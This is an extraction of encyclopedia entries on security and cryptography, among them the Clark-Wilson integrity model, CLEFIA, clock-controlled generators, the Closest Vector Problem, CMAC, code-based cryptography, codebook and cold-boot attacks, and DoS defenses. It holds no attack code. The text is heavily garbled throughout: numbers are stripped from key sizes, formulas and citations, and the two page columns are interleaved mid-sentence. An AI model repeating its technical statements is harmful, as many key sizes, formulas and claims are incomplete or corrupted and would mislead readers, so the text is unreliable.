Chroot Jail pp
C Clark and Wilson Model
on them. Therefore, they can only protect against obvi-

Clark and Wilson Model ous errors in the data or in the system operation and not
against misuses by subjects []. The task of a security pol-
Sabrina De Capitani di Vimercati, Pierangela icy for integrity is therefore to fill in this gap and control
Samarati data modifications and procedure executions with respect
Dipartimento di Tecnologie dellInformazione (DTI), to the subjects performing them.
Theory
Related Concepts The Clark and Wilsons proposal [] is based on the follow-
Data Integrity ing four criteria for achieving data integrity.
. Authentication. The identity of all users accessing the
Denition system must be properly authenticated (this is an obvi-
ous prerequisite for correctness of the control, as well
The Clark and Wilson model protects the integrity of com-
mercial information by allowing only certified actions by as for establishing accountability).
explicitly authorized users on resources. . Audit. Modifications should be logged for the purpose
of maintaining an audit log that records every program
executed and the user who executed it, so that changes
Background could be undone.
Integrity is concerned with ensuring that no resource, . Well-formed transactions. Users should not manipu-
including data and programs, has been modified in an late data arbitrarily but only in constrained ways that
unauthorized or improper way and that the data stored ensure data integrity (e.g., double entry bookkeeping
in the system correctly reflect the real world they are in accounting systems). A system in which transactions
intended to represent (i.e., that users expect). Integrity are well formed ensures that only legitimate actions
preservation requires prevention of frauds and errors, as can be executed. In addition, well-formed transactions
the term improper used above suggests: violations to data should provide logging and serializability of result-
integrity are often enacted by legitimate users executing ing subtransactions in a way that concurrency and
authorized actions but misusing their privileges. recovery mechanisms can be established.
Any data management system today has functional- . Separation of duty. The system must associate with each
ities for ensuring integrity. Basic integrity services are, user a valid set of programs to be run. The privileges
for example, concurrency control (to ensure correctness in given to each user must satisfy the separation of duty
case of multiple processes concurrently accessing data) and principle. Separation of duty prevents authorized users
recovery techniques (to reconstruct the state of the system from making improper modifications, thus preserving
in the case of violations or errors occur). Database systems the consistency of data by ensuring that data in the
also support the definition and enforcement of integrity system reflect the real world they represent.
constraints that define the valid states of the database con-
While authentication and audit are two common
straining the values that it can contain. Also, database sys-
mechanisms for any access control system, the latter two
tems support the notion of transaction, which is a sequence
aspects are peculiar to the Clark and Wilson proposal.
of actions for which the ACID properties must be ensured,
The definition of well-formed transaction and the
where the acronym stands for: Atomicity (a transaction is
enforcement of separation of duty constraints is based on
either performed in its entirety or not performed at all),
the following concepts.
Consistency (a transaction must preserve the consistency
of the database), Isolation (a transaction should not make Constrained data items. CDIs are the objects whose
its updates visible to other transactions until it is commit- integrity must be safeguarded.
ted), and Durability (changes made by a transaction that Unconstrained data items. UDIs are objects that are not
has committed must never be lost because of subsequent covered by the integrity policy (e.g., information typed
failures). by the user on the keyboard).
Although rich, the integrity features provided by Integrity verification procedures. IVPs are procedures
database management systems are not enough: they are meant to verify that CDIs are in a valid state, that is,
only specified with respect to the data and their seman- the IVPs confirm that the data conform to the integrity
tics, and do not take into account the subjects operating specifications at the time the verification is performed.
Claw-Free C
C1: All IVPs must ensure that all CDIs are in a valid state when the IVP is run.
C2: All TPs must be certified to be valid (i.e., preserve validity of CDIs state)
C3: Assignment of TPs to users must satisfy separation of duty
C4: The operations of TPs must be logged
C5: TPs execute on UDIs must result in valid CDIs
E1: Only certified TPs can manipulate CDIs
E2: Users must only access CDIs by means of TPs for which they are authorized
E3:
E4:
The identity of each user attempting to execute a TP must be authenticated
Only the agent permitted to certify entities can change the list of such entities
C
associated with other entities
Clark and Wilson Model. Fig. Clark and Wilson integrity rules
Transformation procedures. TPs are the only proce-

dures (well-formed procedures) that are allowed to Classical Cryptosystem
modify CDIs or to take arbitrary user input and create
new CDIs. TPs are designed to take the system from Symmetric Cryptosystem
one valid state to the next.
Intuitively, IVPs and TPs are the means for enforcing
the well-formed transaction requirement: all data modi-
fications must be carried out through TPs, and the result Claw-Free
must satisfy the conditions imposed by the IVPs.
Separation of duty must be taken care of in the defini- Burt Kaliski
tion of authorized operations. In the context of the Clark Office of the CTO, EMC Corporation, Hopkinton
and Wilsons model, authorized operations are specified by MA, USA
assigning to each user a set of well-formed transactions
that she can execute (which have access to constraint data
items). Separation of duty requires the assignment to be
Related Concepts
Collision Resistance; Hash Functions; Permutation;
defined in a way that makes it impossible for a user to vio-
Trapdoor One-Way Function
late the integrity of the system. Intuitively, separation of
duty is enforced by splitting operations in subparts, each to
be executed by a different person (to make frauds difficult). Denition
For instance, any person permitted to create or certify a A pair of functions f and g is said to be claw-free or claw-
well-formed transaction should not be able to execute it resistant if it is difficult to find inputs x, y to the functions
(against production data). such that
Figure summarizes the nine rules that Clark and Wil- f (x) = g(y).
son presented for the enforcement of system integrity. The
rules are partitioned into two types: certification (C) and
Background
enforcement (E). Certification rules involve the evaluation
The concept of claw-resistance was introduced in the
of transactions by an administrator, whereas enforcement
GMR signature scheme, which is based on claw-free
is performed by the system.
trapdoor permutations (Trapdoor One-Way Function,
The Clark and Wilsons proposal nicely outlines good
Substitutions, and Permutations).
principles for controlling integrity. It has limitations due
to the fact that it is far from formal and it is unclear how to
formalize it in a general setting. Theory
Given a pair of functions f and g, a pair of inputs x,
y such that f (x) = g(y) is called a claw, describing
Recommended Reading the two-pronged inverse. If it is difficult to find such a
. Castano S, Fugini MG, Martella G, Samarati P () Database
pair of inputs, then the pair of functions is said to be
security. Addison-Wesley, New York, NY
. Clark DD, Wilson DR () A comparison of commercial and
claw-free.
military computer security policies. In: Proceedings of the IEEE A collision is a special case of a claw where the functions
Symposium on Security and Privacy, Oakland, CA f and g are the same.
C CLEFIA
Applications mappings on four bits. S is derived from the inverse func-

The claw-free property occurs occasionally in cryptosys- tion in GF( ) in a manner similar to that used in deriva-
tem design. In addition to the GMR signature scheme, tion of the AES S-box. The reader is referred to [] for
Damgrd [] showed that claw-free permutations (without further details.
the trapdoor) could be employed to construct collision- To encrypt, the -bit text is first split into four words
resistant hash functions (also refer Collision resistance). of bits each. Then two whitening keys are applied as
Dodis and Reyzin have shown that the claw-free property follows:
is essential to obtaining good security proofs for certain
(a, b, c, d) (a, b WK , c, d WK )
signature schemes [].
Subsequently, the text is encrypted in r rounds, where
Recommended Reading the ith round is defined:
. Damgrd IB () Collision free hash functions and public key
(a, b, c, d) (F (RKi , a) b, c, F (RKi , c) d, a).
signature schemes. In: Chaum D, Price WL (eds) Advances in
cryptology EUROCRYPT. Lecture notes in computer sci- Here, F and F are mappings returning one -bit word
on input of two -bit words, and RKi are -bit subkeys
. Dodis Y, Reyzin L () On the power of claw-free permutations.
In: Cimato S, Galdi C, Persiano G (eds) Security in communica- derived from the master key. The rth and final round is:
tions networks (SCN ). Lecture notes in computer science,
(a, b, c, d) (a, F (RKr , a) b WK , c,
F (RKr , c) d WK )
F takes a -bit word x = (x , x , x , x ) and a -bit
subkey k = (k , k , k , k ) and computes a -bit word
CLEFIA y = (y , y , y , y ) as follows. First, set
Lars R. Knudsen z = S (x k )
Department of Mathematics, Technical University of z = S (x k )
Denmark, Lyngby, Denmark z = S (x k )
z = S (x k )
Related Concepts Then with z = (z , z , z , z ) a column vector with elements

Block Ciphers; Feistel Cipher in GF( ) compute y = M z, where M is the matrix
with entries in GF( ) in hex notation:
Denition
CLEFIA is a -bit block cipher developed by Sony. The

block cipher supports keys of , , and bits.
Background F takes a -bit word x = (x , x , x , x ) and a -bit

CLEFIA was designed to be fast in both software and hard- subkey k = (k , k , k , k ) and computes a -bit word y =
ware and is compatible with the AES, in the sense that it (y , y , y , y ) as follows. First, set
supports the same block size and key sizes. z = S (x k )
z = S (x k )
Theory
z = S (x k )
CLEFIA is a -bit block cipher with keys of , , and
bits. The structure is a so-called generalized Feistel net- z = S (x k )
work running in , , rounds, depending on the key Then with z = (z , z , z , z ) a column vector with elements
size. in GF( ) compute y = M z, where M is the matrix
CLEFIA uses four whitening subkeys W , W , W , W , with entries in GF( ) in hex notation:
and r subkeys RK , . . . , RKr , each of bits and all
derived from the master key. a
CLEFIA uses two S-boxes, S and S , both mapping on a
a
eight bits. S is derived from a combination of four smaller a
Clock-Controlled Generator C
CLEFIA was designed as an alternative to the AES. The output of R may determine the clocking of R . For exam-
designers claim that CLEFIA resists all known attacks, and ple, if R outputs a , then clock R twice, and if R outputs
that it is highly efficient in particular when implemented a , then clock R three times. The output of the scheme
in hardware. could be the one of R .
Recommended Reading Theory

. Shirai T, Shibutani K, Akishita T, Moriai S, Iwata T () The The theory of such generators is strongly related to the one
-bit blockcipher CLEFIA (extended abstract). In: Biryukov A of (N)LFSRs. Some particular examples of such genera-
C
(ed) Fast software encryption, th international workshop, FSE
tors have been studied, e.g., the Alternating Step Genera-
, Luxembourg, Luxembourg, March . Lecture notes in
tor, presented below, or the shrinking generator. Remark
that a register can manage its clocking by itself, as the
self-shrinking generator does.
Their security has been studied since . Follow-
ing the seminal survey on their cryptanalysis [], a lot
Client Puzzles of papers have discussed (Fast) Correlation Attacks on
these generators. Among the more recent papers, one
Computational Puzzles
can cite []. But, according to these attacks, and if
properly implemented, both generators remain resistant
to practical cryptanalysis because these attacks cannot be
Clock-Controlled Generator considered as efficient when the LFSRs are too long for
exhaustive search. Recently, following [], [] pro-
posed a new attack based on the so-called edit/Levenshtein
Caroline Fontaine
distance, providing an attack which complexity is in L/ ,
Lab-STICC/CID and Telecom Bretagne/ITI,
the exhaustive search being in L .
CNRS/Lab-STICC/CID and Telecom Bretagne,
Brest Cedex , France
Applications
The shrinking generator is detailed in its own entry. The
Related Concepts Alternating Step Generator is presented below.
Linear Feedback Shift Register; Nonlinear Feedback
Shift Register; Self-Shrinking Generator; Shrinking Example: The Alternating Step Generator
Generator; Stream Cipher The alternating step generator has been introduced in []
and can be equivalently described as illustrated by Fig. . It
Denition
Clock-Controlled Generators output can be used as
keystreams in the context of stream ciphers. They are clock R1
clocked according to some environment constraints, as for clock
example the value of the output of a given register.
R2 output
Background
Clock-controlled generators involve several registers and Clock-Controlled Generator. Fig. Principle of a clock-contr
produces one output sequence. Based on some clocking olled generator based on two LFSRs
mechanism, registers go from one state to another, thereby
producing output bits, the clocks being controlled by some clock
R0
external or internal events. One can choose to synchronize
these registers, or not. In the second case, the output of the 0
scheme will be more nonlinear than in the first case. clock R output
1
The most studied case is the one of Linear Feedback
Shift Registers (LFSR), but this concept could be applied R1
clock
also to Nonlinear Feedback Shift Registers (NLFSR).
The principle of such a generator is illustrated in Fig. . Clock-Controlled Generator. Fig. The alternating step gen-
Considering, for example, two LFSRs, say R and R , the erator, an overview
C Closest Vector Problem
R R0 R1 . Kanso A () Clock-controlled shrinking generator of feed-

st+1 = st + st1 st+1 = st + st2 st+1 = st + st1 back shift registers. AISP . Lecture notes in computer
state output state output state output output science, vol . pp
11 010 01 . Golic JD, Menicocci R () Correlation analysis of the
01 1 010 0 10 1 1 alternating step generator. Design Code Cryptogr ():
10 1 010 0 11 0 0
11 0 001 0 11 0 0 . Golic JD () Embedding probabilities for the alternating step
01 1 001 0 01 1 1 generator. IEEE Trans Inf Theory ():
10 1 001 0 10 1 1 . Daemen J, Van Assche G () Distinguishing stream ciphers
11 0 100 1 10 1 0 with convolutional filters. SCN . Lecture notes in computer
01 1 100 1 11 0 1 science, vol . Springer, Berlin, pp
10 1 100 1 01 1 0 . Gomulkiewicz M, Kutylowski M, Wlaz P () Fault
... ... ... ... ... ... ... jumping attacks against shrinking generator. Complexity
of Boolean Functions, N., Dagstuhl Seminar Proceedings,
Clock-Controlled Generator. Fig. The alternating step gen-
erator, an example. Suppose that R and R are of length two . Zhang B, Wu H, Feng D, Bao F () A fast correla-
tion attack on the shrinking generator. CT-RSA . Lec-
and have period three; the feedback relation for R and R is
st+ = st + st ; R has length three, and its feedback relation pp
is st+ = st + st . The rst row of the table corresponds to . Golic JD, Mihaljevic MJ () A generalized correlation attack
the initialization; the internal states are of the form st st or on a class of stream ciphers based on the Levenshtein distance.
st st st J Cryptol ():
. Golic JD, Petrovic S () A generalized correlation attack with
a probabilistic constrained edit distance. Advances in cryptol-
ogy Eurocrypt. Lecture notes in computer science, vol .
consists of three LFSRs, say R, R , and R . The role of R is to Springer, Berlin, pp
. Petrovic S, Fster A () Clock control sequence reconstruc-
determine the clocking of both R and R . If R outputs a ,
tion in the ciphertext only attack scenario. ICICS . Lec-
then only R is clocked, and if R outputs a , then only R ture notes in computer science, vol . Springer, Berlin, pp
is clocked. At each step, a LFSR that is not clocked outputs
the same bit as previously (a if there is no previous step). . Caballero-Gil P, Fster-Sabater A () Improvement of the
So, at each step both R and R output one bit each, but only edit distance attack to clock-controlled LFSR-based stream
ciphers. EUROCAST . Lecture notes in computer science,
one of them has been clocked. The output sequence of the
scheme is obtained by XORing those two bits. An example . Caballero-Gil P, Fster-Sabater A () A simple attack on
is provided in Fig. . some clock-controlled generators. Comput Math Appl ():
, Elsevier Science
. Gnter CG () Alternating step generators controlled by
Recommended Reading de Bruijn sequences. Advances in cryptology Eurocrypt.
. Gollmann D () Cryptanalysis of clock-controlled shift reg- Lecture notes in computer science, vol . Springer, Berlin,
isters. Fast software encryption. Lecture notes in computer pp
. Golic J, OConnor L () Embedding and probabilistic corre-
lation attacks von clock-controlled shift registers. Advances in
cryptology Eurocrypt. Lecture notes in computer science, vol
. Springer, Berlin, pp Closest Vector Problem
. Golic J () Towards fast correlation attacks on irregularly
clocked shift registers. Advances in cryptology Eurocrypt.
Lecture notes in computer science, vol . Springer, Berlin, pp Daniele Micciancio
Department of Computer Science & Engineering,
. Al Jabri KA () Shrinking generators and statistical leakage. University of California, San Diego, CA, USA
Comput Math Appl ():, Elsevier Science
. Johansson T () Reduced complexity correlation attacks on
two clock-controlled generators. Advances in cryptology Asi- Synonyms
acrypt. Lecture notes in computer science, vol . Springer, Nearest vector problem
Berlin, pp
. Kholosha A () Clock-controlled shift registers and gen-
eralized Geffe Key-stream generator. Progress in cryptology
Related Concepts
Indocrypt. Lecture notes in computer science, vol . pp Lattice; Lattice-Based Cryptography; Lattice Reduc-
, Springer, Berlin tion; NTRU; Shortest Vector Problem
Closest Vector Problem C
Denition one achieved by the lattice reduction algorithms for the

Given k linearly independent (typically integer) vectors Shortest Vector Problem, and is almost exponential in the
B = [b , . . . , bk ] and a target vector y (all in n-dimensional dimension of the lattice.
Euclidean space Rn ), the Closest Vector Problem (CVP) In practice, heuristics approaches (e.g., the embedding
asks to find an integer linear combination Bx = ki= bi xi technique, Lattice Reduction) seem to find relatively
(with x Zk ) whose distance from the target Bx y is good approximations to CVP in a reasonable amount of
minimal. As for the Shortest Vector Problem (SVP), CVP time when the dimension of the lattice is sufficiently small
can be defined with respect to any norm, but the Euclidean and/or the target is close to the lattice.
C
norm is the most common. In Lattice terminology, CVP CVP is known to be at least as hard as SVP [], in the
is the problem of finding the vector in the lattice L(B) rep- sense that any approximation algorithm for CVP can be
resented by the input basis B which is closest to a given used to approximate SVP within the same approximation
target y. (Refer the entry Lattice for general background factor and with essentially the same computational effort.
about lattices, and related concepts.)
Approximate versions of CVP can also be defined. Applications
A g-approximate solution to a CVP instance (B, y) is a lat- Algorithms and heuristics to (approximately) solve CVP
tice vector Bx whose distance from the target is within a have been extensively used in cryptanalysis (Lattice
factor g from the optimum, i.e., Bx y g Bz y Reduction). The conjectured intractability of CVP has
for all z Zk . The approximation factor g is usu- also been used as the basis for the construction of hard-
ally a (monotonically increasing) function of the lattice to-break cryptographic primitives. However, none of the
dimension. cryptographic functions directly based on CVP is known
A special version of CVP of interest in both Lattice- to admit a proof of security, and some of them have been
Based Cryptography and coding theory is the bounded dis- broken []. Cryptographic primitives with a supporting
tance decoding. This problem is defined similarly to CVP, proof of security are typically based on easier problems,
but with the restriction that the distance between the target like the length estimation version of the Shortest Vector
vector y and the lattice is small, compared to the minimum Problem or the bounded distance decoding variant of CVP.
distance of the lattice. (Shortest Vector Problem for the (Refer Lattice Based Cryptography for details.)
definition of .)
Open Problems
Background As for the Shortest Vector Problem, the main open
In mathematics, CVP has been studied (in the language of questions about CVP regard the existence of polynomial
quadratic forms) since the nineteenth century in parallel time algorithms achieving approximation factors that grow
with the Shortest Vector Problem, which is its homo- polynomially with the dimension of the lattice. Can CVP
geneous counterpart. It is a classic NP-hard combinato- be approximated in polynomial time within g = nc for
rial optimization problem []. The first polynomial-time some constant c < ? Is CVP NP-hard to approximate
approximation algorithm for CVP was proposed by Babai within small polynomial factors g = n for some > ?
[], based on the LLL Lattice Reduction algorithm []. For an introduction to the computational complexity
of the shortest vector problem and other lattice problems,
Theory see [].
The strongest currently known NP-hardness result for
CVP [] shows that the problem is intractable for approx-
imation factors g(n) = n/O(log log n) almost polynomial Recommended Reading
in the dimension of the lattice. However, under stan- . Babai L () On Lovasz lattice reduction and the nearest lattice
dard complexity assumptions, CVP cannot be NP-hard point problem. Combinatorica ():
. Dinur I, Kindler G, Raz R, Safra S () Approximating CVP
to approximate within small polynomial factors g =
to within almost-polynomial factors is NP-hard. Combinatorica
O ( n/ log n) []. ():
The best theoretical polynomial-time approximation . van Emde Boas P () Another NP-complete problem and the
complexity of computing short vectors in a lattice. Technical
algorithms to solve CVP known to date are still based
report -, Mathematics Institut, University of Amsterdam.
on Babais nearest plane algorithm [] in conjunction http://turing.wins.uva.nl/~peter/
with stronger Lattice Reduction techniques. The result- . Goldreich O, Goldwasser S () On the limits of nonapprox-
ing approximation factor is essentially the same as the imability of lattice problems. J Comput Syst Sci ():
C Cloud Computing
. Goldreich O, Micciancio D, Safra S, Seifert J-P () Approxi- Theory

mating shortest lattice vectors is not harder than approximating In the following, the block length and key length of the
closest lattice vectors. Inf Process Lett ():
block cipher will be denoted with n and k respectively.
. Lenstra AK, Lenstra HW Jr, Lovsz L () Factoring polynomi-
als with rational coefficients. Math Ann :
The encryption with the block cipher E using the key K
. Micciancio D, Goldwasser S () Complexity of lattice prob- will be denoted with EK (.). An n-bit string consisting of
lems: a cryptographic perspective. The Kluwer International zeroes will be denoted with n . The length of a string x in
Series in Engineering and Computer Science, vol . Kluwer bits is denoted with x. For a string x with x < n, padn (x)
Academic Publishers, Boston
is the string of length n obtained by appending to the right
. Nguyen P, Regev O () Learning a parallelepiped: Cryptanal-
ysis of GGH and NTRU signatures. J Cryptol ():
a bit followed by n x bits.
Considered the finite field GF(n ) defined using the
irreducible polynomial pn (x); here pn (x) is the lexico-
graphically first polynomial, chosen among the irreducible
polynomials of degree n that have a minimum number of
Cloud Computing nonzero coefficients. For n = , pn (x) = x + x +
x + x + . Denote the string consisting of the rightmost
Secure Data Outsourcing: A Brief Overview n coefficients (corresponding to xn through the constant
term) of pn (x) with pn ; for the example p = .
The operation multx(s) on an n-bit string considers s as
an element in the finite field GF(n ) and multiplies it by
the element corresponding to the monomial x in GF(n ).
CMAC It can be computed as follows, where sn denotes the
leftmost bit of s, and denotes a left shift operation.
Bart Preneel
s
if sn =
Katholieke Universiteit Leuven and IBBT, multx(s) =

Leuven-Heverlee, Belgium (s ) pn if sn =
The three-key MAC construction XCBC uses a k-bit

block cipher key K and two n-bit masking keys K and
Related Concepts
K . For CMAC, one computes L EK (n ), and the
Block Ciphers; MAC Algorithms
masking keys are obtained as K multx(L) and K
multx(K ).
Denition CMAC is an iterated MAC algorithm applied to an
CMAC is a MAC algorithm based on a block cipher; input x = x , x , . . . , xt , with x = x = = xt = n
it is a CBC-MAC variant that requires only one block and xt n.
cipher key and that is highly optimized in terms of number
of encryptions. Two masking keys K and K are derived Message transformation. Define xi xi for i t.
from the block cipher key K . The masking key K is added If xt = n, xt (xt K ); if xt < n, xt (padn (xt )
prior to the last encryption if the last block is complete; K ).
otherwise, the masking key K is added. CBC-MAC computation, which iterates the following
operation:
Background
Hi = EK (Hi xi ) , i t .
In , Black and Rogaway [] proposed the XBC (or
three-key MAC) construction to get rid of the overhead
The initial value is equal to the all zero string, or
due to padding in CBC-MAC, in particular when the mes-
H = n .
sage length in bits is an integer multiple of the block length
The MAC value consists of the leftmost m bits of Ht .
of the block cipher. In , Kurosawa and Iwata reduced
the number of keys to two in the TMAC construction; one Note that the CBC-MAC computation is inherently serial:
year later, Iwata and Kurosawa [] managed to reduce the The processing of block i + can only start if the process-
number of keys to one by deriving the second and third ing of block i has been completed; this is a disadvantage
key from the first one. In , NIST has standardized this compared to a parallel MAC algorithm such as PMAC.
algorithm under the name CMAC []; CMAC has been PMAC requires more encryptions; this is mainly impor-
included in the informational RFC []. tant for short messages.
Code-Based Cryptography C
The designers of CMAC have proved that CMAC is

a secure MAC algorithm if the underlying block cipher Code-Based Cryptography
is a pseudo-random permutation; the security bounds are
meaningful if the total number of input blocks is signif- Nicolas Sendrier
icantly smaller than n/ [, , ]. The bound for CMAC Project-Team SECRET, INRIA Paris-Rocquencourt,
is not as tight as that of EMAC (cf. CBC-MAC and vari- Le Chesnay, France
ants). The birthday attack based on internal collisions of []
is an upper bound that almost matches the lower bound.
C
Mitchell has demonstrated in [] that an internal collision Related Concepts
can also be used to recover K and K and thus S; this allows Error Correcting Codes; McEliece Public Key Cryp-
for many additional trivial forgeries but does not help in tosystem; Syndrome Decoding Problem
recovering the block cipher key K .
Denition
Code-based cryptography includes all cryptosystems,
Recommended Reading symetric or asymetric, whose security relies, partially or
. Black J, Rogaway P () CBC-MACs for arbitrary length mes- totally, on the hardness of decoding in a linear error cor-
sages: the three-key constructions. J Cryptol ():. Earlier
recting code, possibly chosen with some particular struc-
version in advances in cryptology, proceedings Crypto ,
LNCS , M. Bellare (ed), Springer, , pp
ture or in a specific family (for instance, quasi-cyclic codes,
. Iwata T, Kurosawa K () OMAC: One key CBC MAC. In: or Goppa codes).
Johansson T (ed) Fast software encryption, LNCS . Springer,
Heidelberg, pp Applications
. Iwata T, Kurosawa K () Stronger security bounds for OMAC,
TMAC, and XCBC. In: Johansson T, Maitra S (eds) Progress in
In the case of asymmetric primitives, the security relies, in
cryptology, proceedings Indocrypt , LNCS . Springer, addition to the hardness of decoding [], on how well the
Berlin, pp trapdoor is concealed (typically the difficulty of obtaining
. Kurosawa K, Iwata T () TMAC: two-key CBC MAC. In: a Goppa code distinguisher). The main primitives are:
Joye M (ed) Topics in cryptology, cryptographers Track RSA
, LNCS . Springer, Berlin, pp Public-key encryption schemes [, ]
. Mitchell CJ () Partial key recovery attacks on XCBC, TMAC Digital signature scheme []
and OMAC. In: Smart NP (ed) Cryptography and coding, pro- For other primitives, the security only depends on
ceedings IMAC , LNCS . Springer, Berlin Heidelberg,
pp
the hardness of decoding:
. Nandi M () Improved security analysis for OMAC as a Zero-knowledge authentification protocols []
pseudorandom function. J Math Cryptol (): Pseudo-random number generator and stream cipher
. NIST Special Publication -B () Recommendation for
block cipher modes of operation: the CMAC mode for authenti-
[, ]
cation, May Cryptographic hash function []
. Poovendran R, Lee J, Iwata T () The AESCMAC algorithm.
In: Request for comments (RFC) (informational), Internet Recommended Reading
Engineering Task Force (IETF), June
. Berlekamp ER, McEliece RJ, van Tilborg HC () On the
. Preneel B, van Oorschot PC () MDx-MAC and building fast
inherent intractability of certain coding problems. IEEE Trans
MACs from hash functions. In: Coppersmith D (ed) Advances in
Inf Theory ():
cryptology, proceedings Crypto, LNCS . Springer, Berlin,
. McEliece RJ () A public-key cryptosystem based on alge-
pp
braic coding theory. DSN Progress Report, Jet Propulsion
Laboratory, California Institute of Technology, Pasadena, CA,
pp
. Niederreiter H () Knapsack-type cryptosystems and alge-
CMVP Cryptographic Module braic coding theory. Probl Contr Inf Theory ():
Validation Program . Courtois N, Finiasz M, Sendrier N () How to achieve
a McEliece-based digital signature scheme. In: Boyd C (ed)
Advances in cryptology ASI-ACRYPT . Lecture notes in
FIPS - computer science, vol . Springer, Berlin, pp
. Stern J () A new identification scheme based on syn-
drome decoding. In: Stinson DR (ed) Advances in cryptology
CRYPTO. Lecture notes in computer science, vol .
Code Verication Springer, Berlin, pp
. Vron P () A fast identification scheme. In: IEEE confer-
Program Verification and Security ence, ISIT, Whistler, p
C Codebook Attack
. Gaborit P, Girault M () Lightweight code-based identifi- A better way to combat such attacks is to use chaining
cation and signature. In: IEEE conference, ISIT, Nice. IEEE, modes of operation like Cipher-Block Chaining mode
pp
(which makes further blocks of ciphertext dependent on
. Fischer JB, Stern J () An efficient pseudo-random gener-
ator provably as secure as syndrome decoding. In: Maurer U
all the previous blocks) together with the authentication
(ed) Advances in cryptology EUROCRYPT. Lecture notes of the ciphertext.
in computer science, vol . Springer, Berlin, pp
. Gaborit P, Laudaroux C, Sendrier N () SYND: a very fast
code-based stream cipher with a security reduction. In: IEEE
conference, ISIT, Nice. IEEE, pp
. Augot D, Finiasz M, Gaborit P, Manuel S, Sendrier N
Cold-Boot Attacks
() SHA- proposal: FSB. Submission to the SHA- NIST
competition Nadia Heninger
Department of Computer Science, Princeton University,
USA
Codebook Attack Synonyms

Iceman attack
Alex Biryukov
FDEF, Campus Limpertsberg, University of Luxembourg,
Luxembourg, Luxembourg
Related Concepts
Physical Security; Side-Channel Attacks
Related Concepts Denition

Block Ciphers The cold-boot attack is a type of side-channel attack in
which an attacker uses the phenomenon of memory rema-
Denition nence in DRAM or SRAM to read data out of a computers
A codebook attack is an example of a known plaintext memory after the computer has been powered off.
attack scenario in which the attacker is given access to
a set of plaintexts and their corresponding encryptions Applications
(for a fixed key): (Pi , Ci ), i = , . . . , N. These pairs con- A computer running cryptographic software relies on the
stitute a codebook which someone could use to listen to operating system to protect any key material that may be
further communication and which could help him or her in memory during computation. In a cold-boot attack,
to partially decrypt the future messages even without the the attacker circumvents the operating systems protec-
knowledge of the secret key. He or she could also use this tions by reading the contents of memory directly out of
knowledge in a replay attack by replacing blocks in the RAM. This can be accomplished with physical access by
communication or by constructing meaningful messages removing power to the computer and either rebooting into
from the blocks of the codebook. a small custom kernel (a cold boot) or transplanting
the RAM modules into a different computer to be read.
Applications In the latter case, the chips may be cooled to increase
Codebook attack may even be applied in a passive traffic their data retention times using an inverted canned air
analysis scenario, i.e., as a ciphertext-only attack, which duster sprayed directly onto the chips, or submerged in
would start with frequency analysis of the received blocks liquid nitrogen. At room temperature modern chips can
and attempts to guess their meaning. Ciphers with small retain nearly all their data for up to several seconds;
block size are vulnerable to the Codebook attack, espe- below room temperature they can retain data for hours or
cially if used in the simplest Electronic Codebook mode even days.
of operation. Already with N = n/ known pairs, where Halderman et al. [] used DRAM remanence to
n is the block size of the cipher, the attacker has good demonstrate cold-boot attacks against several full disk
chances to observe familiar blocks in the future commu- encryption systems. In practice, a computers memory may
nications of size O (n/ ), due to the birthday paradox. contain sensitive application data such as passwords in
If communication is redundant, the size of the codebook addition to cryptographic keys. Chan et al. [] demonstrate
required may be even smaller. Modern block ciphers use how a machine may be restored to its previous running
-bit block size to make such attacks harder to mount. state after a cold-boot attack.
Collaborative DoS Defenses C
Mitigations against cold-boot attacks include ensur- remember: cold boot attacks on encryption keys. In: Proceed-
ing that computers are shut down securely, requiring ings of th USENIX security symposium, USENIX. Washington,
pp
authentication before sensitive data is read into RAM,
. Heninger N, Shacham H () Reconstructing RSA private
encrypting the contents of RAM, and using key-storage keys from random key bits. In: Halevi S (ed) Advances in
hardware. cryptology CRYPTO , Lecture notes in computer science,
vol . Springer, Berlin/Heidelberg, pp
. Skorobogatov S () Low-temperature data remanence in static
Theory RAM. University of Cambridge computer laborary technical C
Cold-boot attacks may be used against both public key report No.
cryptography and symmetric cryptosystems. In both . Tsow A () An improved recovery algorithm for decayed
cases, additional information such as key schedules can be AES key schedule images. In: Jacobson M, Rijmen V, Naini
RS (eds) Selected areas in cryptography, Lecture notes in
used to automate the search for keys in memory and to
computer science, vol . Springer, Berlin/Heidelberg,
reconstruct a key obtained from a decayed memory image. pp
Algorithms for finding and reconstructing Rijndael/AES
keys from decayed memory images are given in [] and
[], and for secret keys in the RSA public-key encryption
system in [].
Collaborative DoS Defenses
Both DRAM (dynamic RAM) and SRAM (static RAM) are Jelena Mirkovic
volatile memory storage, but both can retain data without Information Sciences Institute, University of Southern
power for up to several seconds at room temperature and California, Marina del Rey, CA, USA
longer when cooled. They exhibit distinct patterns of decay
over time without power.
SRAM stores each bit in four transistors in a stable con- Related Concepts
figuration that does not need to be refreshed while power Denial-of-Service; DoS Detection; DoS Pushback
is on. After power is removed and restored, an SRAM cell
that has lost its data can power up to either state, although Denition
a cell that has stored the same value for a very long time A collaborative DoS defense engages multiple Internet
will tend to burn in that value []. See Skorobogatov [] components in prevention, detection, and/or response to
for experimental results on SRAM remanence at various denial-of-service (DoS) attacks. Usually, such components
temperatures. are under different administrative control, which necessi-
DRAM stores each bit in a capacitor, which leaks tates an explicit collaboration model.
charge over time and needs to be periodically recharged
to refresh its state. Thus a DRAM cell that has lost its data Background
will generally read as ground, which may be wired to a Any action perpetrated with a goal to deny service to legit-
or a . See Halderman et al. [] for experimental results imate clients is called a denial-of-service (DoS) attack.
on DRAM remanence. There are many ways to deny service, including direct
flooding, indirect flooding via reflector attacks (where
Recommended Reading attack nodes send service requests to many public servers,
. Chan EM, Carlyle JC, David FM, Farivar R, Campbell RH () spoofing the IP addresses of the victim, and thus the
BootJacker: Compromising computers using forced restarts. In: replies overwhelm the victim), misusing the routing pro-
Proceedings of th ACM conference on computer and commu-
tocols, hijacking DNS service, exploiting vulnerable appli-
nications security. Alexandria, pp
. Chow J, Pfaff B, Garfinkel T, Rosenblum M () Shredding
cations and protocols, etc. A most common form of DoS is
your garbage: reducing data lifetime through secure deallocation. direct flooding attacks that are often distributed, i.e., they
In: Proceedings of th USENIX security symposium. Baltimore, involve multiple attack machines (distributed denial-of-
pp service [DDoS]). The attacking nodes generate high traffic
. Gutmann P () Secure deletion of data from magnetic and
rates to the server that is the victim of the attack, over-
solid-state memory. In: Proceedings of th USENIX security
symposium. San Jose, pp
whelming some critical resource at or near the server. The
. Halderman JA, Schoen S, Heninger N, Clarkson W, Paul W, second most common form of DoS are reflector attacks,
Calandrino J, Feldman A, Appelbaum J, Felten E () Lest we which are also distributed.
C Collaborative DoS Defenses
Since DDoS attacks are naturally distributed, it seems obtain some service from the same server. The goal of
